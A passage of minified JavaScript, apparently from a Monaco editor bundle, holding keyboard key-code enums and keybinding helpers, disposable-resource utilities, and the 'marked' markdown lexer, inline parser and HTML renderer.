n=!!(2048&e),i=!!(256&e);return new u(2===t?i:n,!!(1024&e),!!(512&e),2===t?n:i,255&e)}Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.Unknown=0]=\"Unknown\",e[e.Backspace=1]=\"Backspace\",e[e.Tab=2]=\"Tab\",e[e.Enter=3]=\"Enter\",e[e.Shift=4]=\"Shift\",e[e.Ctrl=5]=\"Ctrl\",e[e.Alt=6]=\"Alt\",e[e.PauseBreak=7]=\"PauseBreak\",e[e.CapsLock=8]=\"CapsLock\",e[e.Escape=9]=\"Escape\",e[e.Space=10]=\"Space\",e[e.PageUp=11]=\"PageUp\",e[e.PageDown=12]=\"PageDown\",e[e.End=13]=\"End\",e[e.Home=14]=\"Home\",e[e.LeftArrow=15]=\"LeftArrow\",e[e.UpArrow=16]=\"UpArrow\",e[e.RightArrow=17]=\"RightArrow\",e[e.DownArrow=18]=\"DownArrow\",e[e.Insert=19]=\"Insert\",e[e.Delete=20]=\"Delete\",e[e.KEY_0=21]=\"KEY_0\",e[e.KEY_1=22]=\"KEY_1\",e[e.KEY_2=23]=\"KEY_2\",e[e.KEY_3=24]=\"KEY_3\",e[e.KEY_4=25]=\"KEY_4\",e[e.KEY_5=26]=\"KEY_5\",e[e.KEY_6=27]=\"KEY_6\",e[e.KEY_7=28]=\"KEY_7\",e[e.KEY_8=29]=\"KEY_8\",e[e.KEY_9=30]=\"KEY_9\",e[e.KEY_A=31]=\"KEY_A\",e[e.KEY_B=32]=\"KEY_B\",e[e.KEY_C=33]=\"KEY_C\",e[e.KEY_D=34]=\"KEY_D\",e[e.KEY_E=35]=\"KEY_E\",e[e.KEY_F=36]=\"KEY_F\",e[e.KEY_G=37]=\"KEY_G\",e[e.KEY_H=38]=\"KEY_H\",e[e.KEY_I=39]=\"KEY_I\",e[e.KEY_J=40]=\"KEY_J\",e[e.KEY_K=41]=\"KEY_K\",e[e.KEY_L=42]=\"KEY_L\",e[e.KEY_M=43]=\"KEY_M\",e[e.KEY_N=44]=\"KEY_N\",e[e.KEY_O=45]=\"KEY_O\",e[e.KEY_P=46]=\"KEY_P\",e[e.KEY_Q=47]=\"KEY_Q\",e[e.KEY_R=48]=\"KEY_R\",e[e.KEY_S=49]=\"KEY_S\",e[e.KEY_T=50]=\"KEY_T\",e[e.KEY_U=51]=\"KEY_U\",e[e.KEY_V=52]=\"KEY_V\",e[e.KEY_W=53]=\"KEY_W\",e[e.KEY_X=54]=\"KEY_X\",e[e.KEY_Y=55]=\"KEY_Y\",e[e.KEY_Z=56]=\"KEY_Z\",e[e.Meta=57]=\"Meta\",e[e.ContextMenu=58]=\"ContextMenu\",e[e.F1=59]=\"F1\",e[e.F2=60]=\"F2\",e[e.F3=61]=\"F3\",e[e.F4=62]=\"F4\",e[e.F5=63]=\"F5\",e[e.F6=64]=\"F6\",e[e.F7=65]=\"F7\",e[e.F8=66]=\"F8\",e[e.F9=67]=\"F9\",e[e.F10=68]=\"F10\",e[e.F11=69]=\"F11\",e[e.F12=70]=\"F12\",e[e.F13=71]=\"F13\",e[e.F14=72]=\"F14\",e[e.F15=73]=\"F15\",e[e.F16=74]=\"F16\",e[e.F17=75]=\"F17\",e[e.F18=76]=\"F18\",e[e.F19=77]=\"F19\",e[e.NumLock=78]=\"NumLock\",e[e.ScrollLock=79]=\"ScrollLock\",e[e.US_SEMICOLON=80]=\"US_SEMICOLON\",e[e.US_EQUAL=81]=\"US_EQUAL\",e[e.US_COMMA=82]=\"US_COMMA\",e[e.US_MINUS=83]=\"US_MINUS\",e[e.US_DOT=84]=\"US_DOT\",e[e.US_SLASH=85]=\"US_SLASH\",e[e.US_BACKTICK=86]=\"US_BACKTICK\",e[e.US_OPEN_SQUARE_BRACKET=87]=\"US_OPEN_SQUARE_BRACKET\",e[e.US_BACKSLASH=88]=\"US_BACKSLASH\",e[e.US_CLOSE_SQUARE_BRACKET=89]=\"US_CLOSE_SQUARE_BRACKET\",e[e.US_QUOTE=90]=\"US_QUOTE\",e[e.OEM_8=91]=\"OEM_8\",e[e.OEM_102=92]=\"OEM_102\",e[e.NUMPAD_0=93]=\"NUMPAD_0\",e[e.NUMPAD_1=94]=\"NUMPAD_1\",e[e.NUMPAD_2=95]=\"NUMPAD_2\",e[e.NUMPAD_3=96]=\"NUMPAD_3\",e[e.NUMPAD_4=97]=\"NUMPAD_4\",e[e.NUMPAD_5=98]=\"NUMPAD_5\",e[e.NUMPAD_6=99]=\"NUMPAD_6\",e[e.NUMPAD_7=100]=\"NUMPAD_7\",e[e.NUMPAD_8=101]=\"NUMPAD_8\",e[e.NUMPAD_9=102]=\"NUMPAD_9\",e[e.NUMPAD_MULTIPLY=103]=\"NUMPAD_MULTIPLY\",e[e.NUMPAD_ADD=104]=\"NUMPAD_ADD\",e[e.NUMPAD_SEPARATOR=105]=\"NUMPAD_SEPARATOR\",e[e.NUMPAD_SUBTRACT=106]=\"NUMPAD_SUBTRACT\",e[e.NUMPAD_DECIMAL=107]=\"NUMPAD_DECIMAL\",e[e.NUMPAD_DIVIDE=108]=\"NUMPAD_DIVIDE\",e[e.KEY_IN_COMPOSITION=109]=\"KEY_IN_COMPOSITION\",e[e.ABNT_C1=110]=\"ABNT_C1\",e[e.ABNT_C2=111]=\"ABNT_C2\",e[e.MAX_VALUE=112]=\"MAX_VALUE\"}(t.KeyCode||(t.KeyCode={}));var i=function(){function e(){this._keyCodeToStr=[],this._strToKeyCode=Object.create(null)}return e.prototype.define=function(e,t){this._keyCodeToStr[e]=t,this._strToKeyCode[t.toLowerCase()]=e},e.prototype.keyCodeToStr=function(e){return this._keyCodeToStr[e]},e.prototype.strToKeyCode=function(e){return this._strToKeyCode[e.toLowerCase()]||0},e}(),o=new i,r=new i,s=new i;!function(){function e(e,t,n,i){void 0===n&&(n=t),void 0===i&&(i=n),o.define(e,t),r.define(e,n),s.define(e,i)}e(0,\"unknown\"),e(1,\"Backspace\"),e(2,\"Tab\"),e(3,\"Enter\"),e(4,\"Shift\"),e(5,\"Ctrl\"),e(6,\"Alt\"),e(7,\"PauseBreak\"),e(8,\"CapsLock\"),e(9,\"Escape\"),e(10,\"Space\"),e(11,\"PageUp\"),e(12,\"PageDown\"),e(13,\"End\"),e(14,\"Home\"),e(15,\"LeftArrow\",\"Left\"),e(16,\"UpArrow\",\"Up\"),e(17,\"RightArrow\",\"Right\"),e(18,\"DownArrow\",\"Down\"),e(19,\"Insert\"),e(20,\"Delete\"),e(21,\"0\"),e(22,\"1\"),e(23,\"2\"),e(24,\"3\"),e(25,\"4\"),e(26,\"5\"),e(27,\"6\"),e(28,\"7\"),e(29,\"8\"),e(30,\"9\"),e(31,\"A\"),e(32,\"B\"),e(33,\"C\"),e(34,\"D\"),e(35,\"E\"),e(36,\"F\"),e(37,\"G\"),e(38,\"H\"),e(39,\"I\"),e(40,\"J\"),e(41,\"K\"),e(42,\"L\"),e(43,\"M\"),e(44,\"N\"),e(45,\"O\"),e(46,\"P\"),e(47,\"Q\"),e(48,\"R\"),e(49,\"S\"),e(50,\"T\"),e(51,\"U\"),e(52,\"V\"),e(53,\"W\"),e(54,\"X\"),e(55,\"Y\"),e(56,\"Z\"),e(57,\"Meta\"),e(58,\"ContextMenu\"),e(59,\"F1\"),e(60,\"F2\"),e(61,\"F3\"),e(62,\"F4\"),e(63,\"F5\"),e(64,\"F6\"),e(65,\"F7\"),e(66,\"F8\"),e(67,\"F9\"),e(68,\"F10\"),e(69,\"F11\"),e(70,\"F12\"),e(71,\"F13\"),e(72,\"F14\"),e(73,\"F15\"),e(74,\"F16\"),e(75,\"F17\"),e(76,\"F18\"),e(77,\"F19\"),e(78,\"NumLock\"),e(79,\"ScrollLock\"),e(80,\";\",\";\",\"OEM_1\"),e(81,\"=\",\"=\",\"OEM_PLUS\"),e(82,\",\",\",\",\"OEM_COMMA\"),e(83,\"-\",\"-\",\"OEM_MINUS\"),e(84,\".\",\".\",\"OEM_PERIOD\"),e(85,\"/\",\"/\",\"OEM_2\"),e(86,\"`\",\"`\",\"OEM_3\"),e(110,\"ABNT_C1\"),e(111,\"ABNT_C2\"),e(87,\"[\",\"[\",\"OEM_4\"),e(88,\"\\\\\",\"\\\\\",\"OEM_5\"),e(89,\"]\",\"]\",\"OEM_6\"),e(90,\"'\",\"'\",\"OEM_7\"),e(91,\"OEM_8\"),e(92,\"OEM_102\"),e(93,\"NumPad0\"),e(94,\"NumPad1\"),e(95,\"NumPad2\"),e(96,\"NumPad3\"),e(97,\"NumPad4\"),e(98,\"NumPad5\"),e(99,\"NumPad6\"),e(100,\"NumPad7\"),e(101,\"NumPad8\"),e(102,\"NumPad9\"),e(103,\"NumPad_Multiply\"),e(104,\"NumPad_Add\"),e(105,\"NumPad_Separator\"),e(106,\"NumPad_Subtract\"),e(107,\"NumPad_Decimal\"),e(108,\"NumPad_Divide\")}();!function(e){e.toString=function(e){return o.keyCodeToStr(e)},e.fromString=function(e){return o.strToKeyCode(e)},e.toUserSettingsUS=function(e){return r.keyCodeToStr(e)},e.toUserSettingsGeneral=function(e){return s.keyCodeToStr(e)},e.fromUserSettings=function(e){return r.strToKeyCode(e)||s.strToKeyCode(e)}}(t.KeyCodeUtils||(t.KeyCodeUtils={}));var a;!function(e){e[e.CtrlCmd=2048]=\"CtrlCmd\",e[e.Shift=1024]=\"Shift\",e[e.Alt=512]=\"Alt\",e[e.WinCtrl=256]=\"WinCtrl\",e[e.KeyCode=255]=\"KeyCode\"}(a||(a={}));!function(e){e[e.CtrlCmd=2048]=\"CtrlCmd\",e[e.Shift=1024]=\"Shift\",e[e.Alt=512]=\"Alt\",e[e.WinCtrl=256]=\"WinCtrl\"}(t.KeyMod||(t.KeyMod={})),t.KeyChord=function(e,t){return(e|(65535&t)<<16>>>0)>>>0},t.createKeybinding=function(e,t){if(0===e)return null;var i=(65535&e)>>>0,o=(4294901760&e)>>>16;return 0!==o?new l(n(i,t),n(o,t)):n(i,t)},t.createSimpleKeybinding=n;!function(e){e[e.Simple=1]=\"Simple\",e[e.Chord=2]=\"Chord\"}(t.KeybindingType||(t.KeybindingType={}));var u=function(){function e(e,t,n,i,o){this.type=1,this.ctrlKey=e,this.shiftKey=t,this.altKey=n,this.metaKey=i,this.keyCode=o}return e.prototype.equals=function(e){return 1===e.type&&(this.ctrlKey===e.ctrlKey&&this.shiftKey===e.shiftKey&&this.altKey===e.altKey&&this.metaKey===e.metaKey&&this.keyCode===e.keyCode)},e.prototype.isModifierKey=function(){return 0===this.keyCode||5===this.keyCode||57===this.keyCode||6===this.keyCode||4===this.keyCode},e.prototype.isDuplicateModifierCase=function(){return this.ctrlKey&&5===this.keyCode||this.shiftKey&&4===this.keyCode||this.altKey&&6===this.keyCode||this.metaKey&&57===this.keyCode},e}();t.SimpleKeybinding=u;var l=function(){return function(e,t){this.type=2,this.firstPart=e,this.chordPart=t}}();t.ChordKeybinding=l;var c=function(){return function(e,t,n,i,o,r){this.ctrlKey=e,this.shiftKey=t,this.altKey=n,this.metaKey=i,this.keyLabel=o,this.keyAriaLabel=r}}();t.ResolvedKeybindingPart=c;var d=function(){return function(){}}();t.ResolvedKeybinding=d}),define(d[3],h([1,0,136]),function(e,t,n){\"use strict\";function i(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return Array.isArray(e)?(e.forEach(function(e){return e&&e.dispose()}),[]):0!==t.length?(i(e),i(t),[]):e?(e.dispose(),e):void 0}Object.defineProperty(t,\"__esModule\",{value:!0}),t.empty=Object.freeze({dispose:function(){}}),t.dispose=i,t.combinedDisposable=function(e){return{dispose:function(){return i(e)}}},t.toDisposable=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return{dispose:function(){for(var t=0,n=e;t<n.length;t++)(0,n[t])()}}};var o=function(){function e(){this._toDispose=[]}return e.prototype.dispose=function(){this._toDispose=i(this._toDispose)},e.prototype._register=function(e){return this._toDispose.push(e),e},e}();t.Disposable=o;var r=function(){function e(){}return Object.defineProperty(e.prototype,\"value\",{set:function(e){this._value&&this._value.dispose(),this._value=e},enumerable:!0,configurable:!0}),e.prototype.dispose=function(){this.value=null},e}();t.OneDisposable=r;var s=function(){function e(){this.references=Object.create(null)}return e.prototype.acquire=function(e){var t=this,i=this.references[e];i||(i=this.references[e]={counter:0,object:this.createReferencedObject(e)});var o=i.object,r=n.once(function(){0==--i.counter&&(t.destroyReferencedObject(i.object),delete t.references[e])});return i.counter++,{object:o,dispose:r}},e}();t.ReferenceCollection=s;var a=function(){function e(e){this.object=e}return e.prototype.dispose=function(){},e}();t.ImmortalReference=a});/**\n * marked - a markdown parser\n * Copyright (c) 2011-2014, Christopher Jeffrey. (MIT Licensed)\n * https://github.com/chjj/marked\n */\nvar g={newline:/^\\n+/,code:/^( {4}[^\\n]+\\n*)+/,fences:a,hr:/^( *[-*_]){3,} *(?:\\n+|$)/,heading:/^ *(#{1,6}) *([^\\n]+?) *#* *(?:\\n+|$)/,nptable:a,lheading:/^([^\\n]+)\\n *(=|-){2,} *(?:\\n+|$)/,blockquote:/^( *>[^\\n]+(\\n(?!def)[^\\n]+)*\\n*)+/,list:/^( *)(bull) [\\s\\S]+?(?:hr|def|\\n{2,}(?! )(?!\\1bull )\\n*|\\s*$)/,html:/^ *(?:comment *(?:\\n|\\s*$)|closed *(?:\\n{2,}|\\s*$)|closing *(?:\\n{2,}|\\s*$))/,def:/^ *\\[([^\\]]+)\\]: *<?([^\\s>]+)>?(?: +[\"(]([^\\n]+)[\")])? *(?:\\n+|$)/,table:a,paragraph:/^((?:[^\\n]+\\n?(?!hr|heading|lheading|blockquote|tag|def))+)\\n*/,text:/^[^\\n]+/};g.bullet=/(?:[*+-]|\\d+\\.)/,g.item=/^( *)(bull) [^\\n]*(?:\\n(?!\\1bull )[^\\n]*)*/,g.item=s(g.item,\"gm\")(/bull/g,g.bullet)(),g.list=s(g.list)(/bull/g,g.bullet)(\"hr\",\"\\\\n+(?=\\\\1?(?:[-*_] *){3,}(?:\\\\n+|$))\")(\"def\",\"\\\\n+(?=\"+g.def.source+\")\")(),g.blockquote=s(g.blockquote)(\"def\",g.def)(),g._tag=\"(?!(?:a|em|strong|small|s|cite|q|dfn|abbr|data|time|code|var|samp|kbd|sub|sup|i|b|u|mark|ruby|rt|rp|bdi|bdo|span|br|wbr|ins|del|img)\\\\b)\\\\w+(?!:/|[^\\\\w\\\\s@]*@)\\\\b\",g.html=s(g.html)(\"comment\",/<!--[\\s\\S]*?-->/)(\"closed\",/<(tag)[\\s\\S]+?<\\/\\1>/)(\"closing\",/<tag(?:\"[^\"]*\"|'[^']*'|[^'\">])*?>/)(/tag/g,g._tag)(),g.paragraph=s(g.paragraph)(\"hr\",g.hr)(\"heading\",g.heading)(\"lheading\",g.lheading)(\"blockquote\",g.blockquote)(\"tag\",\"<\"+g._tag)(\"def\",g.def)(),g.normal=u({},g),g.gfm=u({},g.normal,{fences:/^ *(`{3,}|~{3,})[ \\.]*(\\S+)? *\\n([\\s\\S]*?)\\s*\\1 *(?:\\n+|$)/,paragraph:/^/,heading:/^ *(#{1,6}) +([^\\n]+?) *#* *(?:\\n+|$)/}),g.gfm.paragraph=s(g.paragraph)(\"(?!\",\"(?!\"+g.gfm.fences.source.replace(\"\\\\1\",\"\\\\2\")+\"|\"+g.list.source.replace(\"\\\\1\",\"\\\\3\")+\"|\")(),g.tables=u({},g.gfm,{nptable:/^ *(\\S.*\\|.*)\\n *([-:]+ *\\|[-| :]*)\\n((?:.*\\|.*(?:\\n|$))*)\\n*/,table:/^ *\\|(.+)\\n *\\|( *[-:]+[-| :]*)\\n((?: *\\|.*(?:\\n|$))*)\\n*/}),e.rules=g,e.lex=function(t,n){return new e(n).lex(t)},e.prototype.lex=function(e){return e=e.replace(/\\r\\n|\\r/g,\"\\n\").replace(/\\t/g,\"    \").replace(/\\u00a0/g,\" \").replace(/\\u2424/g,\"\\n\"),this.token(e,!0)},e.prototype.token=function(e,t,n){for(var i,o,r,s,a,u,l,c,d,e=e.replace(/^ +$/gm,\"\");e;)if((r=this.rules.newline.exec(e))&&(e=e.substring(r[0].length),r[0].length>1&&this.tokens.push({type:\"space\"})),r=this.rules.code.exec(e))e=e.substring(r[0].length),r=r[0].replace(/^ {4}/gm,\"\"),this.tokens.push({type:\"code\",text:this.options.pedantic?r:r.replace(/\\n+$/,\"\")});else if(r=this.rules.fences.exec(e))e=e.substring(r[0].length),this.tokens.push({type:\"code\",lang:r[2],text:r[3]||\"\"});else if(r=this.rules.heading.exec(e))e=e.substring(r[0].length),this.tokens.push({type:\"heading\",depth:r[1].length,text:r[2]});else if(t&&(r=this.rules.nptable.exec(e))){for(e=e.substring(r[0].length),u={type:\"table\",header:r[1].replace(/^ *| *\\| *$/g,\"\").split(/ *\\| */),align:r[2].replace(/^ *|\\| *$/g,\"\").split(/ *\\| */),cells:r[3].replace(/\\n$/,\"\").split(\"\\n\")},c=0;c<u.align.length;c++)/^ *-+: *$/.test(u.align[c])?u.align[c]=\"right\":/^ *:-+: *$/.test(u.align[c])?u.align[c]=\"center\":/^ *:-+ *$/.test(u.align[c])?u.align[c]=\"left\":u.align[c]=null;for(c=0;c<u.cells.length;c++)u.cells[c]=u.cells[c].split(/ *\\| */);this.tokens.push(u)}else if(r=this.rules.lheading.exec(e))e=e.substring(r[0].length),this.tokens.push({type:\"heading\",depth:\"=\"===r[2]?1:2,text:r[1]});else if(r=this.rules.hr.exec(e))e=e.substring(r[0].length),this.tokens.push({type:\"hr\"});else if(r=this.rules.blockquote.exec(e))e=e.substring(r[0].length),this.tokens.push({type:\"blockquote_start\"}),r=r[0].replace(/^ *> ?/gm,\"\"),this.token(r,t,!0),this.tokens.push({type:\"blockquote_end\"});else if(r=this.rules.list.exec(e)){for(e=e.substring(r[0].length),s=r[2],this.tokens.push({type:\"list_start\",ordered:s.length>1}),i=!1,d=(r=r[0].match(this.rules.item)).length,c=0;c<d;c++)l=(u=r[c]).length,~(u=u.replace(/^ *([*+-]|\\d+\\.) +/,\"\")).indexOf(\"\\n \")&&(l-=u.length,u=this.options.pedantic?u.replace(/^ {1,4}/gm,\"\"):u.replace(new RegExp(\"^ {1,\"+l+\"}\",\"gm\"),\"\")),this.options.smartLists&&c!==d-1&&(s===(a=g.bullet.exec(r[c+1])[0])||s.length>1&&a.length>1||(e=r.slice(c+1).join(\"\\n\")+e,c=d-1)),o=i||/\\n\\n(?!\\s*$)/.test(u),c!==d-1&&(i=\"\\n\"===u.charAt(u.length-1),o||(o=i)),this.tokens.push({type:o?\"loose_item_start\":\"list_item_start\"}),this.token(u,!1,n),this.tokens.push({type:\"list_item_end\"});this.tokens.push({type:\"list_end\"})}else if(r=this.rules.html.exec(e))e=e.substring(r[0].length),this.tokens.push({type:this.options.sanitize?\"paragraph\":\"html\",pre:!this.options.sanitizer&&(\"pre\"===r[1]||\"script\"===r[1]||\"style\"===r[1]),text:r[0]});else if(!n&&t&&(r=this.rules.def.exec(e)))e=e.substring(r[0].length),this.tokens.links[r[1].toLowerCase()]={href:r[2],title:r[3]};else if(t&&(r=this.rules.table.exec(e))){for(e=e.substring(r[0].length),u={type:\"table\",header:r[1].replace(/^ *| *\\| *$/g,\"\").split(/ *\\| */),align:r[2].replace(/^ *|\\| *$/g,\"\").split(/ *\\| */),cells:r[3].replace(/(?: *\\| *)?\\n$/,\"\").split(\"\\n\")},c=0;c<u.align.length;c++)/^ *-+: *$/.test(u.align[c])?u.align[c]=\"right\":/^ *:-+: *$/.test(u.align[c])?u.align[c]=\"center\":/^ *:-+ *$/.test(u.align[c])?u.align[c]=\"left\":u.align[c]=null;for(c=0;c<u.cells.length;c++)u.cells[c]=u.cells[c].replace(/^ *\\| *| *\\| *$/g,\"\").split(/ *\\| */);this.tokens.push(u)}else if(t&&(r=this.rules.paragraph.exec(e)))e=e.substring(r[0].length),this.tokens.push({type:\"paragraph\",text:\"\\n\"===r[1].charAt(r[1].length-1)?r[1].slice(0,-1):r[1]});else if(r=this.rules.text.exec(e))e=e.substring(r[0].length),this.tokens.push({type:\"text\",text:r[0]});else if(e)throw new Error(\"Infinite loop on byte: \"+e.charCodeAt(0));return this.tokens};var m={escape:/^\\\\([\\\\`*{}\\[\\]()#+\\-.!_>])/,autolink:/^<([^ >]+(@|:\\/)[^ >]+)>/,url:a,tag:/^<!--[\\s\\S]*?-->|^<\\/?\\w+(?:\"[^\"]*\"|'[^']*'|[^'\">])*?>/,link:/^!?\\[(inside)\\]\\(href\\)/,reflink:/^!?\\[(inside)\\]\\s*\\[([^\\]]*)\\]/,nolink:/^!?\\[((?:\\[[^\\]]*\\]|[^\\[\\]])*)\\]/,strong:/^__([\\s\\S]+?)__(?!_)|^\\*\\*([\\s\\S]+?)\\*\\*(?!\\*)/,em:/^\\b_((?:[^_]|__)+?)_\\b|^\\*((?:\\*\\*|[\\s\\S])+?)\\*(?!\\*)/,code:/^(`+)\\s*([\\s\\S]*?[^`])\\s*\\1(?!`)/,br:/^ {2,}\\n(?!\\s*$)/,del:a,text:/^[\\s\\S]+?(?=[\\\\<!\\[_*`]| {2,}\\n|$)/};m._inside=/(?:\\[[^\\]]*\\]|[^\\[\\]]|\\](?=[^\\[]*\\]))*/,m._href=/\\s*<?([\\s\\S]*?)>?(?:\\s+['\"]([\\s\\S]*?)['\"])?\\s*/,m.link=s(m.link)(\"inside\",m._inside)(\"href\",m._href)(),m.reflink=s(m.reflink)(\"inside\",m._inside)(),m.normal=u({},m),m.pedantic=u({},m.normal,{strong:/^__(?=\\S)([\\s\\S]*?\\S)__(?!_)|^\\*\\*(?=\\S)([\\s\\S]*?\\S)\\*\\*(?!\\*)/,em:/^_(?=\\S)([\\s\\S]*?\\S)_(?!_)|^\\*(?=\\S)([\\s\\S]*?\\S)\\*(?!\\*)/}),m.gfm=u({},m.normal,{escape:s(m.escape)(\"])\",\"~|])\")(),url:/^(https?:\\/\\/[^\\s<]+[^<.,:;\"')\\]\\s])/,del:/^~~(?=\\S)([\\s\\S]*?\\S)~~/,text:s(m.text)(\"]|\",\"~]|\")(\"|\",\"|https?://|\")()}),m.breaks=u({},m.gfm,{br:s(m.br)(\"{2,}\",\"*\")(),text:s(m.gfm.text)(\"{2,}\",\"*\")()}),t.rules=m,t.output=function(e,n,i){return new t(n,i).output(e)},t.prototype.output=function(e){for(var t,n,i,r,s=\"\";e;)if(r=this.rules.escape.exec(e))e=e.substring(r[0].length),s+=r[1];else if(r=this.rules.autolink.exec(e))e=e.substring(r[0].length),\"@\"===r[2]?(n=\":\"===r[1].charAt(6)?this.mangle(r[1].substring(7)):this.mangle(r[1]),i=this.mangle(\"mailto:\")+n):i=n=o(r[1]),s+=this.renderer.link(i,null,n);else if(this.inLink||!(r=this.rules.url.exec(e))){if(r=this.rules.tag.exec(e))!this.inLink&&/^<a /i.test(r[0])?this.inLink=!0:this.inLink&&/^<\\/a>/i.test(r[0])&&(this.inLink=!1),e=e.substring(r[0].length),s+=this.options.sanitize?this.options.sanitizer?this.options.sanitizer(r[0]):o(r[0]):r[0];else if(r=this.rules.link.exec(e))e=e.substring(r[0].length),this.inLink=!0,s+=this.outputLink(r,{href:r[2],title:r[3]}),this.inLink=!1;else if((r=this.rules.reflink.exec(e))||(r=this.rules.nolink.exec(e))){if(e=e.substring(r[0].length),t=(r[2]||r[1]).replace(/\\s+/g,\" \"),!(t=this.links[t.toLowerCase()])||!t.href){s+=r[0].charAt(0),e=r[0].substring(1)+e;continue}this.inLink=!0,s+=this.outputLink(r,t),this.inLink=!1}else if(r=this.rules.strong.exec(e))e=e.substring(r[0].length),s+=this.renderer.strong(this.output(r[2]||r[1]));else if(r=this.rules.em.exec(e))e=e.substring(r[0].length),s+=this.renderer.em(this.output(r[2]||r[1]));else if(r=this.rules.code.exec(e))e=e.substring(r[0].length),s+=this.renderer.codespan(o(r[2],!0));else if(r=this.rules.br.exec(e))e=e.substring(r[0].length),s+=this.renderer.br();else if(r=this.rules.del.exec(e))e=e.substring(r[0].length),s+=this.renderer.del(this.output(r[1]));else if(r=this.rules.text.exec(e))e=e.substring(r[0].length),s+=this.renderer.text(o(this.smartypants(r[0])));else if(e)throw new Error(\"Infinite loop on byte: \"+e.charCodeAt(0))}else e=e.substring(r[0].length),i=n=o(r[1]),s+=this.renderer.link(i,null,n);return s},t.prototype.outputLink=function(e,t){var n=o(t.href),i=t.title?o(t.title):null;return\"!\"!==e[0].charAt(0)?this.renderer.link(n,i,this.output(e[1])):this.renderer.image(n,i,o(e[1]))},t.prototype.smartypants=function(e){return this.options.smartypants?e.replace(/---/g,\"—\").replace(/--/g,\"–\").replace(/(^|[-\\u2014/(\\[{\"\\s])'/g,\"$1‘\").replace(/'/g,\"’\").replace(/(^|[-\\u2014/(\\[{\\u2018\\s])\"/g,\"$1“\").replace(/\"/g,\"”\").replace(/\\.{3}/g,\"…\"):e},t.prototype.mangle=function(e){if(!this.options.mangle)return e;for(var t,n=\"\",i=e.length,o=0;o<i;o++)t=e.charCodeAt(o),Math.random()>.5&&(t=\"x\"+t.toString(16)),n+=\"&#\"+t+\";\";return n},n.prototype.code=function(e,t,n){if(this.options.highlight){var i=this.options.highlight(e,t);null!=i&&i!==e&&(n=!0,e=i)}return t?'<pre><code class=\"'+this.options.langPrefix+o(t,!0)+'\">'+(n?e:o(e,!0))+\"\\n</code></pre>\\n\":\"<pre><code>\"+(n?e:o(e,!0))+\"\\n</code></pre>\"},n.prototype.blockquote=function(e){return\"<blockquote>\\n\"+e+\"</blockquote>\\n\"},n.prototype.html=function(e){return e},n.prototype.heading=function(e,t,n){return\"<h\"+t+' id=\"'+this.options.headerPrefix+n.toLowerCase().replace(/[^\\w]+/g,\"-\")+'\">'+e+\"</h\"+t+\">\\n\"},n.prototype.hr=function(){return this.options.xhtml?\"<hr/>\\n\":\"<hr>\\n\"},n.prototype.list=function(e,t){var n=t?\"ol\":\"ul\";return\"<\"+n+\">\\n\"+e+\"</\"+n+\">\\n\"},n.prototype.listitem=function(e){return\"<li>\"+e+\"</li>\\n\"},n.prototype.paragraph=function(e){return\"<p>\"+e+\"</p>\\n\"},n.prototype.table=function(e,t){return\"<table>\\n<thead>\\n\"+e+\"</thead>\\n<tbody>\\n\"+t+\"</tbody>\\n</table>\\n\"},n.prototype.tablerow=function(e){return\"<tr>\\n\"+e+\"</tr>\\n\"},n.prototype.tablecell=function(e,t){var n=t.header?\"th\":\"td\";return(t.align?\"<\"+n+' style=\"text-align:'+t.align+'\">':\"<\"+n+\">\")+e+\"</\"+n+\">\\n\"},n.prototype.strong=function(e){return\"<strong>\"+e+\"</strong>\"},n.prototype.em=function(e){return\"<em>\"+e+\"</em>\"},n.prototype.codespan=function(e){return\"<code>\"+e+\"</code>\"},n.prototype.br=function(){return this.options.xhtml?\"<br/>\":\"<br>\"},n.prototype.del=function(e){return\"<del>\"+e+\"</del>\"},n.prototype.link=function(e,t,n){if(this.options.sanitize){try{var i=decodeURIComponent(r(e)).replace(/[^\\w:]/g,\"\").toLowerCase()}catch(e){return\"\"}if(0===i.indexOf(\"javascript:\")||0===i.indexOf(\"vbscript:\")||0===i.indexOf(\"data:\"))return\"\"}var o='<a href=\"'+e+'\"';return t&&(o+=' title=\"'+t+'\"'),o+=\">\"+n+\"</a>\"},n.prototype.image=function(e,t,n){var i='<img src=\"'+e+'\" alt=\"'+n+'\"';return t&&(i+=' title=\"'+t+'\"'),i+=this.options.xhtml?\"/>\":\">\"},n.prototype.text=function(e){return e},i.parse=function(e,t,n){return new i(t,n).parse(e)},i.prototype.parse=function(e){this.inline=new t(e.links,this.options,this.renderer),this.tokens=e.reverse();for(var n=\"\";this.next();)n+=this.tok();return n},i.prototype.next=function(){return this.token=this.tokens.pop()},i.prototype.peek=function(){return this.tokens[this.tokens.length-1]||0},i.prototype.parseText=function(){for(var e=this.token.text;\"text\"===this.peek().type;)e+=\"\\n\"+this.next().text;return this.inline.output(e)},i.prototype.tok=function(){switch(this.token.type){case\"space\":return\"\";case\"hr\":return this.renderer.hr();case\"heading\":return this.renderer.heading(this.inline.output(this.token.text),this.token.depth,this.token.text);case\"code\":return this.renderer.code(this.token.text,this.token.lang,this.token.escaped);case\"table\":var e,t,n,i,o=\"\",r=\"\";for(n=\"\",e=0;e<this.token.header.length;e++)({header:!0,align:this.token.align[e]}),n+=this.renderer.tablecell(this.inline.output(this.token.header[e]),{header:!0,align:this.token.align[e]});for(o+=this.renderer.tablerow(n),e=0;e<this.token.cells.length;e++){for(t=this.token.cells[e],n=\"\",i=0;i<t.length;i++)n+=this.renderer.tablecell(this.inline.output(t[i]),{header:!1,align:this.token.align[i]});r+=this.renderer.tablerow(n)}return this.renderer.table(o,r);case\"blockquote_start\":for(r=\"\";\"blockquote_end\"!==this.next().type;)r+=this.tok();return this.renderer.blockquote(r);case\"list_start\":for(var r=\"\",s=this.token.ordered;\"list_end\"!==this.next().type;)r+=this.tok();return this.renderer.list(r,s);case\"list_item_start\":for(r=\"\";\"list_item_end\"!==this.next().type;)r+=\"text\"===this.token.type?this.parseText():this.tok();return this.renderer.listitem(r);case\"loose_item_start\":for(r=\"\";\"list_item_end\"!==this.next().type;)r+=this.tok();return this.renderer.listitem(r);case\"html\":var a=this.token.pre||this.options.pedantic?this.token.text:this.inline.output(this.token.text);return this.renderer.html(a);case\"paragraph\":return this.renderer.paragraph(this.inline.output(this.token.text));case\"text\":return this.renderer.paragraph(this.parseText())}},a.exec=a,l.options=l.setOptions=function(e){return u(l.defaults,e),l},l.defaults={gfm:!0,tables:!0,breaks:!1,pedantic:!1,sanitize:!1,sanitizer:null,mangle:!0,smartLists:!1,silent:!1,highlight:null,langPrefix:\"lang-\",smartypants:!1,headerPrefix:\"\",renderer:new 